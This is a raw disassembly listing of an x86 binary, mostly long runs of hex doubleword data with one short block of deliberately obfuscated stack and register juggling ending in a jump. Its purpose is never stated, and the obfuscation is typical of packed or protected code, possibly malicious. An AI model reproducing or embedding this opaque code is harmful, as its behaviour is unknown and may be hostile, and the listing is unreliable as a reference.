0C9E915F5h, 43171B58h, 243A7411h, 0DE795FE8h, 171310ABh dd 0E6741AD6h, 0A7B24784h, 0AE85854h, 0BA000000h, 4C30E85Dh dd 0F24B6D79h, 5AFAB06Eh, 5AD48051h, 0F3C28158h, 0B400005Ah dd 0FF52BB2Bh, 0C3815F7Ch, 0A0831736h, 666032FFh, 76DFC781h dd 81665F61h, 818531E6h, 777696F7h, 11E96069h, 0F9000000h dd 0BA0E072Eh, 3EB4B7E8h, 52D0003Eh, 0E8D2E1B3h, 0FE953h dd 8F6C0000h, 9601C489h, 5EB8BDC7h, 719E64C6h, 81615F03h dd 58C0FBC7h, 8B0F7Dh, 81000000h, 414B01C7h, 4870F01h dd 53000000h, 8958CE8Bh, 0EE93Ah, 0DB640000h, 0CBF04AD2h dd 11DE3FE4h, 0F357F0E6h, 32E4EA81h, 0B8666D2Bh, 0C281459Ch dd 6D2B32E0h, 10850F4Bh, 0F5000000h, 21E9h, 0BA4C5B00h dd 0CA17B91Eh, 52D0C351h, 815F5160h, 0BB9903D8h, 0E95E6172h dd 0FFFFFF54h, 2A2E923Ch, 8D8D7590h, 64E6CABh, 10E9h, 0BBD94F00h dd 9ECAC265h, 4109241Fh, 0E185A48Ah, 58D896Ch, 6A064814h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 16042444h dd 40000000h, 0F6E0C350h, 2585C7EBh, 30064830h, 0E9000068h dd 0Fh, 0B74ED552h, 639771CAh, 980E95D5h, 89B1408Dh, 481FA185h dd 0D985C706h, 6482Ah, 6A000000h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1A042444h, 40000000h, 90B6C350h dd 0F29EC761h, 1BD2943h, 0FF064824h, 480C39B5h, 9E806h dd 28580000h, 5467DABBh, 66331F03h, 0FF5BF28Bh, 480E7195h dd 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h dd 0C3554500h, 973AFD26h, 0B70FB962h, 0FF006AFBh, 48092D95h dd 0EBC08B06h, 0AC0C667Bh, 32D0A030h, 711E42FFh, 16A3DB83h dd 4554D1D3h, 0F56F5CC8h, 25D00935h, 0F8C6D20h, 0F55D0978h dd 9D87C59Bh, 201C93CBh, 2BCDE2FAh, 923C71A1h, 75902A2Eh dd 6BA75F2Fh, 971A6958h, 8950C642h, 32C14E37h, 92438A06h dd 49D4035Bh, 608FED0Ah, 0FDAF4CDEh, 0CE722809h, 0EBA5CC5h dd 2D6DF3F7h, 5D3C0A1Eh, 0D1DBB90Ah, 4C0E010Ch, 25392F7Fh dd 7F08288Fh, 994CC8Bh, 6DF68D8Dh, 6A064Eh, 3E850h, 58200000h dd 448958C3h, 44810424h, 140424h, 50400000h, 8D8971C3h dd 6481405h, 0C7E2F380h, 48302585h, 687006h, 48C0F00h dd 66000000h, 0C7459AB8h, 482AD985h, 6, 53006A00h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1804h, 0C3534300h dd 0E991C95Ah, 0EE9F503h, 0AB000000h, 326768B3h, 0FB06A53Ch dd 3AB5911h, 3DB5FFE4h, 6A064828h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 3BE8C351h dd 0FB2EC55h, 1586h, 10E900h, 76FC0000h, 304CD9h, 0DDA731D2h dd 6EC1F284h, 95FF0277h, 6480E71h, 95FF006Ah, 648092Dh dd 3DEBC08Bh, 1C7296B2h, 0B28F4FD1h, 0EAD3E1C2h, 37F381C9h dd 540D2788h, 0D63E1C11h, 0C446BFBEh, 60F13B84h, 63CAF960h dd 8897601Eh, 0E537A687h, 92F890F7h, 0A02DE7B2h, 7F7EAF37h dd 48C9461h, 14E811h, 49CA0000h, 0EFADB250h, 6103D6CDh dd 2F4FF1B0h, 0FCA19CC9h, 0B589B574h, 648280Dh, 8D89605Eh dd 64829FDh, 29E78166h, 0C681616Eh, 5DB5h, 6AFAD281h, 0FF33027Dh dd 9EE38166h, 3E048BBAh, 3860Fh, 0B70F0000h, 0ECF081D1h dd 8B5DD9F6h, 4801A98Dh, 0E8E88106h, 0B31B0E95h, 29F08168h dd 0F941C0D8h, 8B3E0489h, 48117595h, 11E906h, 0E0E90000h dd 0F2EAD2BBh, 4F4F9137h, 1E27839Dh, 81620C9Ch, 0BC7D79EFh dd 81BEB279h, 0BC7D75C7h, 7EEB8179h, 814CDFBEh, 0FFA314FFh dd 15850FFFh, 8B000000h, 4829058Dh, 21E906h, 195D0000h dd 61B42056h, 0FDEDA0C3h, 121D9D8Bh, 7AE90648h, 0D7FFFFFFh dd 94416B5Eh, 1ABC78ACh, 0E890E9ECh, 12h, 0A416FAECh, 6B7A28C1h dd 1039D00Dh, 9D81CBFBh, 810F2FD5h, 2, 8B5886B1h, 4821C5B5h dd 0FDC08106h, 2B000074h, 4806118Dh, 0BF06h, 0B58B0000h dd 64822B5h, 810734FFh, 3192CEEh, 890F5B15h, 6, 0D658D29h dd 0C3810648h, 19A7426Ch, 0B8E98166h, 3AEB8144h, 92D73C7h dd 4826D995h, 40C38106h, 892B55E7h, 4817258Dh, 8D8B5306h dd 6480FE1h, 0E938048Fh, 12h, 4652D2Ah, 3C7ABB08h, 0C05149ADh dd 0E7433527h, 83F9FA94h, 0B58904EFh, 6482801h, 8BDCFF81h dd 850FFFFFh, 1Eh, 9C3DEA81h, 2AE907F2h, 0FD000000h, 0A7A57FA2h dd 4492E231h, 0D54D9F66h, 7A46CD5Fh, 0B5897519h, 6480DC1h dd 0FFFF67E9h, 48A2FCFFh, 0CFD71EB0h, 0A2CD83E3h, 3A8D8D2Fh dd 66064E70h, 1D4BDE81h, 14058D89h, 8B530648h, 4801F995h dd 85C75B06h, 6483025h, 69E4h, 2AD985C7h, 648h, 840F0000h dd 5, 496BEBFh, 25B5FF4Ah, 0FF06480Eh, 480E7195h, 0F18B6606h dd 95FF006Ah, 648092Dh, 2BEBC08Bh, 7E837EEBh, 0E7F977EBh dd 0F67467BAh, 0B4318117h, 731960C0h, 2BB9BA79h, 5678761Dh dd 0E7864B71h, 1C5BD5A1h, 0B1FB6668h, 8DD787DFh, 4E71508Dh dd 0B19D8906h, 8906480Ch, 4814058Dh, 9E806h, 9A9B0000h dd 61081AA0h, 0E8054DCFh, 0Fh, 68DEE47Ch, 0E8A395E8h, 31C80006h dd 0E867A03Dh, 11h, 41543D3Dh, 1A606B2Fh, 0DD851848h, 712CBCAAh dd 5F5A5AC1h, 302585C7h, 5B9C0648h, 8B660000h, 0D985C7C7h dd 6482Ah, 52000000h, 19E99D89h, 31580648h, 4829BD9Dh dd 15B5FF06h, 6A064809h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1B042444h, 41000000h, 0BB2EC351h, 0A4E1CD10h dd 852B098Ah, 6481595h, 2F719D8Bh, 95FF0648h, 6480E71h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 0F4C35141h dd 0E715F750h, 6E8BC46h, 0C0000000h, 392105F7h, 29BA6697h dd 6A5EA7h, 92D95FFh, 0C08B0648h, 8E8919EBh, 0FAE468BAh dd 50BA26DEh, 85232E9Dh, 0B1A486F6h, 6A8644B2h, 8DA1101Fh dd 4E72288Dh, 57BF6606h, 0C2B70F77h, 14058D89h, 6A0648h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h dd 9A95D9C3h, 8920DA1Ah, 482B1585h, 2585C706h, 0EC064830h dd 6A000073h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 17042444h, 43000000h, 0BFF4C353h, 0D38A7AFCh, 2AD985C7h dd 648h, 840F0000h, 0Ch, 68D0Fh, 958B0000h, 6481BADh, 1221B5FFh dd 6A0648h, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h dd 50400000h, 0FB2A1BC3h, 95FF0265h, 6480E71h, 27958589h dd 6A0648h, 92D95FFh, 0C08B0648h, 701B3AEBh, 0E4537A40h dd 0F7BDD407h, 425D04D8h, 0A350C0C4h, 0CDACD735h, 46C759C5h dd 0D059949Ch, 0BE10A15h, 0CD561CA9h, 0B131F4D7h, 0D1DE7FB5h dd 0AD4D6739h, 55DEDB30h, 2220B451h, 13E8h, 0FEDFD200h dd 100B82FDh, 72FFA27Dh, 2CC5DECBh, 2F43BDC8h, 0F5ACA8Bh dd 1A8Eh, 13E800h, 159A0000h, 866F578Ch, 0EC93DB13h, 0C6106ED0h dd 0AF94DAB6h, 815EF8F5h, 72B0C2h, 0BE900h, 0F9410000h dd 4254A8B9h, 4A08AD55h, 89FF339Eh, 4807F59Dh, 3A1C8B06h dd 8EDBD31h, 0EB810648h, 7C1C6DAh, 0C381D8B4h, 31228205h dd 0F381CE8Ah, 58D3FED6h, 108D8D01h, 0E9530648h, 11h, 9F7ECF3Ch dd 0B50FFF15h, 7723C0EDh, 9D9C85A1h, 3A048F82h, 290D8D8Bh dd 81600648h, 0B2275FF0h, 758D8958h, 61064814h, 0B001EF83h dd 4F4F4FBFh, 0CFF81F9h, 0FFFFF8Eh, 0FFFF9885h, 6CB966FFh dd 0E38D8DDBh, 0F064E73h, 0D89h, 8E900h, 9D6D0000h, 7F7D67E9h dd 0B70FCDD6h, 58D89D8h, 6A064814h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1A042444h, 47000000h, 19A9C357h dd 0CA8E59BAh, 12DF8172h, 0F3664BCh, 85C7D9BFh, 6483025h dd 6234h, 85C7DCB7h, 6482AD9h, 0 dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0F5C35242h dd 33137EFBh, 0E9680CE2h, 0Ch, 16407C46h, 352B51E2h, 0D67E746Fh dd 22D5B58Bh, 0B5FF0648h, 6480D3Dh, 0D81B589h, 95FF0648h dd 6480E71h, 0FF006AF5h, 48092D95h, 0EBC08B06h, 66414D1Bh dd 57034C72h, 6DB1998Ch, 890B0153h, 0EEFDF228h, 0C0843B09h dd 807D810h, 5E8h, 3C307800h, 8B50D323h, 482BF99Dh, 0B595806h dd 4804719Dh, 0D3C18106h, 0E9000066h, 8, 5BB98AB4h, 9284FDE0h dd 0BFh, 26EB8000h, 0E939148Bh, 7, 0CD20453Ch, 81DEC2F1h dd 201CB8EAh, 0A5BD8971h, 81064819h, 7B5B3AEAh, 68D0F76h dd 23000000h, 481B4585h, 84C28106h, 66305C23h, 0E6CCDB81h dd 0F9391489h, 83F08B66h, 9D0301EFh, 64812EDh, 0F4F4F4Fh dd 287h, 81C38B00h, 0FF9A00FFh, 1A850FFFh, 8B000000h, 481535B5h dd 3EE906h, 79610000h, 50A3BD68h, 0D761808Ch, 0A32C2638h dd 14E871h, 0F2ED0000h, 0DB9B03F0h, 0D163739Bh, 71625F44h dd 0AC28D3BFh, 0A2B8D0ACh, 5E516403h, 0FFFF63E9h, 6181E7FFh dd 0C07BAD86h, 86DB78A1h, 12E8h, 7C8A8900h, 10819424h dd 0DFE46BD3h, 3191E110h, 805B5AA4h, 0F5A44EDh, 481h, 6B96600h dd 0BC281A3h, 9000059h, 4809458Dh, 161ABE06h, 8B660000h dd 891A8BCFh, 48053595h, 2AEB8106h, 0E86DEB23h, 8, 4E4AD8DDh dd 311D1C5Eh, 11E8h, 25CE9200h, 0D7D8409Eh, 968FF3D9h dd 59865575h, 0B70FCF82h, 815959F9h, 2195E2C3h, 0F3816003h dd 1D8FC9D5h, 2031858Bh, 81610648h, 74029DC3h, 8B1A8940h dd 481099BDh, 4EA8306h, 23E98D8Bh, 0EE810648h, 1, 0FF93850Fh dd 8D8BFFFFh, 6481335h, 11E8h, 61653800h, 0FE23B902h, 509D0A59h dd 8DE23AA6h, 805F3592h, 0C7814CC9h, 6243h, 68CE8B66h dd 0 dd 8B5ED98Bh, 48124D9Dh, 37148B06h, 14698D89h, 0C2810648h dd 0CB53DD2h, 6DC98166h, 7BF2811Eh, 8B455914h, 48166D8Dh dd 5FEA8106h, 5307D295h, 58C0B70Fh, 8B371489h, 0FEB866DEh dd 1EE83C3h, 68E0Fh, 0C8810000h, 3EC8CAB7h, 814E4E4Eh dd 0C2AB1FDBh, 40FE8171h, 0FFFFF9Eh, 0FFFFA885h, 0D8F480FFh dd 0A234AC42h, 0A27C2406h, 3BB37D7Ah, 80782DFFh, 83B42A21h dd 6F302590h, 863025D6h, 0B79998A7h, 8930235Ah, 8630B48Dh dd 0CF8DA684h, 86366D46h, 86B4A12Eh, 3F62590h, 80782AB1h dd 8634CD6Ah, 51702512h, 0D608D4Bh, 0D3401C0h, 0A274AC42h dd 33CF7D25h, 80781439h, 0F950A0C5h, 56CF236Fh, 3F6D599h dd 80782AF0h, 8634CDCAh, 51702542h, 0D608D63h, 0D3401D4h dd 0A274AC48h, 33CF7D20h, 8078215Bh, 0F950A084h, 56CF23CFh dd 9689DDC9h, 6F302521h, 86302598h, 88B52AEEh, 0CF302524h dd 33FEC19h, 79CFDAF9h, 8630286Dh, 6ADA842h, 3E366D6Fh dd 86302595h, 3BBDC6B7h, 807E5333h, 0F0D7A89Fh, 94882347h dd 0ADB615A1h, 84D9E48Dh, 0A234AC42h, 0A27C2406h, 3BB37D7Ah dd 80782DFFh, 83B42A21h, 6F302590h, 863025D6h, 0F305E983h dd 22B9A4h, 0FE80000h, 0FB000000h, 555F6D05h, 2A3DA358h dd 29CB63CDh, 2B605383h, 481B999Dh, 898D8906h, 6106482Fh dd 48B0F58h, 66000000h, 81628EBBh, 58A8C0h, 75BF6600h dd 0FC93337h, 348BD3B7h, 68C0F08h, 8B000000h, 4831959Dh dd 41F68106h, 0E8265BE4h, 0Eh, 521C8521h, 57458DE7h, 0A3A12D6Eh dd 81666414h, 5A8338C2h, 431FC681h, 830F605Bh, 2, 0C681FC8Ah dd 5AB897A1h, 9A58589h, 8F560648h, 95330804h, 64806A9h dd 0FDDBD89h, 0E9830648h, 0FD958B03h, 4906481Ah, 9ADB529h dd 0F9810648h, 0FFFFA800h, 0FF8C850Fh, 0EBF5FFFFh, 44070F04h dd 55CE958h, 0A54C0000h, 50D2CEAAh, 0C45B3755h, 47EFBBD9h dd 0F6722E4Ah, 257291F3h, 0F090911Dh, 650702A4h, 0EF8D8C29h dd 573530B3h, 0D395E9FCh, 0E17C72A9h, 0FE85C45Fh, 72FE8AFBh dd 0E2811D7Fh, 79FA96E7h, 0F57F0D7Ah, 3C2C65F0h, 0F9978C9h dd 0FDF4832Bh, 0FD8F5E0Dh, 5216686Bh, 9E7624BBh, 5E3A9011h dd 0E6B2DED5h, 6D24445Bh, 0BAC0F8D6h, 630C7624h, 0AFA24FCBh dd 1B434338h, 8ECB3E71h, 60FC8B28h, 0A36FC7C2h, 918C131Dh dd 750283E0h, 74BB60D2h, 0C2AF46D8h, 0C791F601h, 6B43D253h dd 7625032Dh, 0BA56FCBBh, 4C58383Fh, 9E35A0A7h, 2F1B707h dd 0B0FF7625h, 2502A6E2h, 0DD753276h, 5E30C7DEh, 7625031Ah dd 6371D9A6h, 76250322h, 0DACAB12Dh, 0DDE1DE21h, 53FBh dd 0FE852000h, 7A3C8AFBh, 0D5762432h, 9982A219h, 43DDE10Eh dd 1, 95E980D8h, 762432D3h, 603086E1h, 5B50C7C2h, 2FB1EF83h dd 500A24Ch, 20B63774h, 66630193h, 0E6FB7B09h, 33E8A289h dd 6584BE9h, 76247F42h, 0EC73E18Eh, 841070F1h, 0FB98F8FFh dd 8BF8F985h, 0DB6D7BF9h, 73F0B1CEh, 0F5D07602h, 7649F484h dd 69D69839h, 8B704AD0h, 0A4C4C561h, 0D4D153EDh, 6D1A32A7h dd 5F248D5Eh, 1B9878DEh, 8A1D6F1Ch, 60E1E08Ch, 9F4CFE13h dd 0E16362A9h, 0C85FF1DDh, 86E975DDh, 32000000h, 8BF8F985h dd 0EC7B66F9h, 0A0D1D050h, 3C4C6BC3h, 0BCCCBDB4h, 0C14E3F2Ah dd 0EF8A5E0Dh, 9D1A9BE8h, 0FD27E456h, 4EE57071h, 24333870h dd 53FB8476h, 27C25E37h, 0FC525320h, 0E091901Ch, 60111090h dd 6073286Fh, 0FEFD9490h, 0B67567CFh, 0E189759Eh, 46AFDDh dd 85F40000h, 0F98BF8F9h, 56EA7D7Ch, 0BD46D2B1h, 2A8C9A6h dd 85802775h, 8BCDA1F4h, 59762432h, 213CC25Eh, 403FB350h dd 0BB60EA8Bh, 94F4F571h, 0FAFF850Fh, 32783D8Dh, 1BD77624h dd 0E9B80A4h, 141DDE1h, 0DA000000h, 96E7E285h, 126C79FAh dd 76243256h, 0F7840562h, 1DA73950h, 4338B218h, 791B0699h dd 17F29428h, 0DDB11966h, 13AD38E2h, 82E3908Dh, 3C927116h dd 47540559h, 0E7807C6Ch, 0C56DFF96h, 9AA66CCh, 37E69B0Ah dd 544D7DBFh, 0FFAB379Fh, 0B2007174h, 7C6C76F4h, 7CA41BD7h dd 5046E3F7h, 2657D4D3h, 0DDAAA94Ah, 0B2DE5FDCh, 29465DE6h dd 38CED85Bh, 0C7DFAC2Dh, 55E736F5h, 2421C7ADh, 0E0830FA7h dd 720E87E5h, 0E283F0F7h, 4ACB304Ch, 6111DBA9h, 8A000001h dd 23CF7EB9h, 0C050512Eh, 29562722h, 0C8A63DA8h, 76243290h dd 1AFB535Ch, 4B56E983h, 87D57D3Ah, 7C6C413Eh, 57D198Ah dd 2F5F9DBBh, 20C3D1AEh, 881EB225h, 91EEE58Eh, 0AF3B9310h dd 47570F3h, 0FF3CCF74h, 5550D2F3h, 856C4320h, 5D2F7704h dd 0BAB93AEEh, 22C53EDEh, 4D1FDBA9h, 84000000h, 4ED97BB9h dd 24338870h, 0DAABD476h, 24334C0Ch, 0F9F87876h, 7C7BF888h dd 71F26E0Fh, 0D0820572h, 536FD26Bh, 903C78ECh, 24327A3Eh dd 0B8394676h, 3367512Dh, 8AF57624h, 0C250EEh, 0AB450000h dd 8401E15h, 0D4762433h, 0E3842AABh, 0F4CA7EB9h, 762432B4h dd 0DEEF9300h, 0C91DF705h, 0C55CCB48h, 22FF752Eh, 0D5521335h dd 2478C385h, 0C0961176h, 6C945F92h, 0A7F78E7Ch, 7C6C8FE1h dd 151093EFh, 787F0494h, 4ED9A6D2h, 878225B7h, 6C8F91D7h dd 0A4E4BA7Ch, 307C6C8Fh, 0D47A0577h, 2B2ED5A7h, 0D3D65D49h dd 904F14A2h, 0C6887C6Ch, 4350D319h, 6C902D6Bh, 7FFCBB7Ch dd 0D882BD1Dh, 3530B34Dh, 0DEB02744h, 7C6C8F9Ah, 24F15926h dd 0BB07CA4Ah, 0E6821E82h, 0EC2B96E3h, 0BC142C49h, 0B1324E3Fh dd 9042C5B2h, 58023D2Bh, 8B7D36CDh, 73BAA979h, 2E36A40Ah dd 0BA7C78CEh, 6A069FFDh, 4063CBCEh, 5D41EC80h, 0C4A5D2D7h dd 241FEF47h, 0E32CD592h, 46C79005h, 0B275FFCFh, 8A267C72h dd 898E9F4h, 9A1B6877h, 7A05B51Dh, 0E2F47F0Dh, 0A7C54241h dd 0DFD252EEh, 0C84935AEh, 202AA06Fh, 1E5A34A3h, 0AA7C72A0h dd 0EB565CDh, 0EDEC7A0Bh, 0C0DA7D19h, 0E48F550Ah, 27376F2h dd 0DA71E465h, 615A53A1h, 0F9A9F017h, 0CE68DABFh, 0BCCC620Dh dd 7C5243E0h, 0CE68DB3Ch, 0DA57116Dh, 1A65CE68h, 0F380016Eh dd 950001A1h, 1170E31Ch, 1CB22332h, 857AF89Fh, 0B3D1D45Fh dd 35734BE2h, 83CE68A8h, 21C24EE4h, 0C6B7B231h, 0DB4B38B9h dd 0Ch, 0E20B8038h, 0FA7B1611h, 2AF1E54Dh, 94E5FC85h, 0B787F04h dd 8CFDFC79h, 0E7F6AFCh, 82F3F672h, 6774AF6h, 86F7CA6Ah dd 397655EAh, 0BFCCC96Bh, 124168B9h, 14890000h db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ecx push 546Bh mov [esp], edi mov ecx, 338E05C7h xor ecx, 549221DAh dec ecx or ecx, 777425AEh shr ecx, 8 dec ecx inc ecx sub ecx, 0FA29045Ch sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop edi push ebp mov ebp, ecx push ebp pop dword ptr [edi+8] pop ebp mov edi, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp push dword ptr [esp] pop ecx add esp, 4 jmp loc_541331 ; --------------------------------------------------------------------------- db 3Bh, 0B8h, 0ACh dd 3064E7Ch, 15E0FFC5h, 56607AD0h, 9400230Eh, 9B2870EFh dd 9A6D23EEh, 0A00E7AB0h, 1A2C5D67h, 0E8637203h, 13h, 0B248E4C6h dd 0C400B2B5h, 8521190Eh, 8DE7521Ch, 0B96E5745h, 163385E6h dd 4850F5Bh, 66000000h, 818E7CBAh, 6B87C3h, 0FE96000h dd 8000000h, 0D13B24C1h, 0BEF46EECh, 6643FE4Dh, 0D081851Ch dd 60990044h, 6861h, 5FFC0000h, 48B25B1h, 0D78B603Bh, 0F08161FCh dd 2A9977A9h, 14810Fh, 8E80000h, 5A000000h, 579D3BF0h dd 0F3FB9B6h, 8Fh, 0E8815A00h, 3184F460h, 81F08B66h, 1FF1A8F0h dd 12E90Bh, 5FFD0000h, 6FDE9525h, 40D7F907h, 0E43A69Bh dd 8C6892DEh, 0F3B0489h, 0B88h, 6E900h, 44310000h, 0FB370CBFh dd 0F04EF83h, 1982h, 14E900h, 48A40000h, 0A61DDF2h, 3F767AB5h dd 0C827DD30h, 0BD1157AEh, 0FF814592h, 0FFFF9558h, 0FF70850Fh dd 8166FFFFh, 0EB7277D6h, 1329B04h, 595E93Dh, 39B80000h dd 0A44E5A26h, 30D7C3A1h, 0DB5B3755h, 42EEBAC6h, 0B1062D4Fh dd 8CECED89h, 0F1938E10h, 7B1918A5h, 0E381842Fh, 47015D70h dd 957C72B1h, 0FE855033h, 72FE8AFBh, 0E2811D7Fh, 79FA96E7h dd 0CF51EB7Ah, 2D7F7CD2h, 79138287h, 5857FFFAh, 3EE25911h dd 9027BEB5h, 24327A3Eh, 91394676h, 1918A5F1h, 8F822F7Bh dd 64F2A7FEh, 8B67902Fh, 0BF41D179h, 8032D5A2h, 7B9F14DBh dd 158DB9AFh, 9E1BF75Fh, 9CEDEC88h, 1263660Ch, 0F5971495h dd 881F1A99h, 7C163813h, 0D63C16h, 8EA2E373h, 0EAAD7624h dd 0E9C5AE56h, 76248EAFh, 84F5723Dh, 7E0392E7h, 4EBC431h dd 594F3CAEh, 0DDE1A2A2h, 7D78h, 0FE85A300h, 0C65856E8h dd 4C2D5ADBh, 6620BECFh, 92762432h, 17651211h, 0BEE5926Fh dd 68725F0Ch, 0EEDD8C33h, 0D5896EEFh, 0A7C53E16h, 11FDDE1h dd 84000000h, 0FC000B80h, 1E1CCE34h, 4C5AD8B8h, 5E2FACBBh dd 9ADEB047h, 267624ADh, 8321F159h, 1B9BE986h, 217D6E15h dd 7624AD67h, 0FC8D0A75h, 6A413EBFh, 8D24CBB0h, 24AD7731h dd 943A4576h, 197B7E04h, 6EF0E68Dh, 0E4650273h, 0F985FF84h dd 7BF98BF8h, 0F773017Eh, 51F785F2h, 0F889BC80h, 7BF832E8h dd 0B46B270Ah, 0D695E77Fh, 1636602h, 9AEBEE95h, 1D6A790Eh dd 0AF9946F0h, 0DDE17564h, 62BEh, 0EC80E500h, 2EEA4047h dd 0A7FE8F82h, 0C36B6E15h, 0A4D5B057h, 0BA6EDD8Dh, 4D593B3Eh dd 3431B3A1h, 0C8B92647h, 483938B8h, 0CBB8A738h, 413E3BB9h dd 43984739h, 594F3CAEh, 0DDE110B2h, 3968h, 0F985B300h dd 7CF98BF8h, 67D35189h, 43C08D00h, 62D99532h, 0A83F32BEh dd 3DFBBD11h, 0AEC97624h, 85DB7808h, 3D8DFAFFh, 76243278h dd 80A41BD7h, 0DDE10E9Bh, 141h, 0E285DA00h, 0D23B70E7h dd 0BEADE62Dh, 0C05AD3Fh, 1B983E7Fh, 9EEFEA89h, 26787D02h dd 76250B62h, 0F380016Eh, 0B8ECAA4h, 5D5A7625h, 633B38CFh dd 76250C25h, 677F4B3h, 7BB06F43h, 3BE15E1Ch, 0F3DBB9A4h dd 3B9302C8h, 7C6D1F8Eh, 39D0A95Ah, 156E6303h, 81133Fh dd 87822173h, 0F0AA9E5h, 0B7A6E07Eh, 76217C6Ch, 2D5A59DAh dd 5356DC4Ch, 0F3ED4522h, 4B5FE40Ch, 0DFDCADA8h, 0DD66325Eh dd 0D65732D5h, 2D28CBD9h, 0ADA44C5Ch, 2C3BCCDCh, 0F9A6145Fh dd 0C4B5B033h, 15A026A7h, 17ECE19Ch, 0E9A7F4Ah, 9F1C6D78h dd 12C68537h, 66F69291h, 0DBA917BDh, 14667h, 0B80BC00h dd 0C2373101h, 2309F6DDh, 6315612Fh, 0C7F04CE2h, 1936E16h dd 6FE66762h, 6CC2D61Fh, 0F485E27Ch, 0E776E8A1h, 49067782h dd 0B7B231E1h, 1A776B20h, 49E977BDh, 0F25845DBh, 3A39BAD6h dd 0B1B43F4Dh, 1BC0BAC0h, 355752D1h, 0A9A07EA5h, 4EA4DBh dd 0B9FF0000h, 704ED97Bh, 76243388h, 0A03CABD4h, 0DAA001Fh dd 2432FBBDh, 8D8C2976h, 0E01ACFCh, 0E8572971h, 6DD2E853h dd 9007BDFBh, 2432CA3Eh, 0C659F376h, 65CDAADBh, 574E2A55h dd 32AAEEC0h, 5A367624h, 0CFACDDD8h, 0A4CAE84Eh, 49000000h dd 49DC7EB9h, 6C4EBC75h, 1E6F087Ch, 86E2E182h, 1D6A690Ah dd 6C4F064Dh, 0CEBD317Ch, 0FE9A991Ah, 0B013A59Eh, 0A22AC424h dd 16AA3DBAh, 87E49570h, 28FABE10h, 0B9C67C6Dh, 9E2A8411h dd 0AF82BBA6h, 40B334FAh, 9A22F116h, 0AAA9DE75h, 6414BA3Bh dd 0FF178C1Bh, 5356D23Ah, 0E751E526h, 0BB55204Fh, 0DF483924h dd 746F4749h, 5FF77449h, 443530B3h, 0CEA08934h, 762A808Ah dd 0DBA82956h, 5C2D2CC9h, 2227CD5Fh, 0FFAC1E55h, 2C935F26h dd 0CA5DFF38h, 86C29C33h, 52762A80h, 0C9DFFD55h, 177C78FEh dd 0B96B0868h, 7549DC7Eh, 7C72B163h, 0EBB9F6B1h, 45035B48h dd 937C72B1h, 9CF59714h, 0B0EFA905h, 0B2FD7C72h, 6D5B47C1h dd 5AD4E1Bh, 9AEBEE95h, 0F5F4710Bh, 33BD7F5Dh, 23B2B7C2h dd 0DF99F58Ch, 0EDB3262Eh, 2E94D482h, 5C27B326h, 8E2298B8h dd 1A9D6A2h, 0B64D904Fh, 253CA0D8h, 0D1432CB3h, 42235051h dd 80872CECh, 0FAFF7B15h, 3A46EC8Dh, 5653D16Bh, 94931080h dd 0C1C46F01h, 5C5BF3B0h, 90CB749h, 7071F1A1h, 5011ACE5h dd 7AAFE9C5h, 723DB325h, 0D42F1401h, 9C23717Eh, 9B81C797h dd 204FB325h, 3DC6D2A3h, 0A8624926h, 9F5B3AF3h, 7C7BF820h dd 90EE851Ch, 0B3259BD8h, 67339BE4h, 3AA8D9DCh, 0Fh, 0C7FA366Bh dd 255E5BD9h, 5EF47FF4h, 85DA4145h, 494E5FCh, 790B787Fh dd 0FC8CFDFCh, 720E7F6Ah, 0F682F3F6h, 6A06774Ah, 0EA86F7CAh dd 6B397655h, 0B9BFCCC9h, 81E68956h, 4C6h, 4EE8100h, 87000000h dd 895C2434h, 89522414h, 4C281E2h, 83000000h, 148704EAh dd 0C895C24h, 0E3895324h, 4C381h, 0EB830000h, 241C8704h dd 241C895Ch, 4542BA52h, 54B95DA5h, 29714ABEh, 0E1815AD1h dd 574028C8h, 0C181D9F7h, 34860B73h, 35E98149h, 541B3765h dd 83241C8Bh, 0B85004C4h, 8, 0F71E902Dh, 5D80130h, 30F71E90h dd 8B580889h, 8950241Ch, 405E0h, 4050000h, 87000000h, 8B5C2404h dd 8950240Ch, 405E0h, 0C0830000h, 24048704h, 0FAABE95Ch dd 0AF8FFFF9h, 0B16C3446h, 0B84C006Ah, 64E8323h, 0E0FFC503h dd 1DA9D200h, 22A8665Fh, 2CAB84Eh, 32E13A59h, 6B6DE7Ah dd 5CDD6502h, 7FF0DB24h, 7EC1E7C2h, 1BA5ECD3h, 7D850FDDh dd 7738A818h, 78B08100h, 3990132Ah, 250A6512h, 85008D8Dh dd 6A064Eh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h dd 52420000h, 0FA5806C3h, 0F42B6AEAh, 0DE81C25h, 80000000h dd 0D479C5ADh, 0A0AC1CBFh, 372C1A7Ch, 8A37F081h, 89586ADCh dd 4814058Dh, 2585C706h, 78064830h, 0F000065h, 688h, 0BE665300h dd 0C75FE154h, 482AD985h, 6, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1404h, 0C3514100h, 0BF0F5333h dd 0B5FF5FDFh, 6480D3Dh, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 16h, 39C35141h, 800F76AEh, 6, 9456CF81h, 95FF21C4h dd 6480E71h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Ch, 0C2C35747h, 0A60E3BEBh, 0E100B598h, 6AC8B0h, 92D95FFh dd 0C08B0648h, 12021BEBh, 0F056A975h, 0B6F34A67h, 0C53CD26Dh dd 0C0A5CE12h, 9E6DCA2Bh, 7C13D98h, 0CD04EBEBh, 0E93D3A99h dd 86Bh, 680807AEh, 0D1B3B63Ch, 452722C5h, 0C8A8A949h dd 335150DCh, 0FF7B4310h, 7C029EFAh, 0EA970361h, 9A197517h dd 4F66FD9Fh, 72B8397Fh, 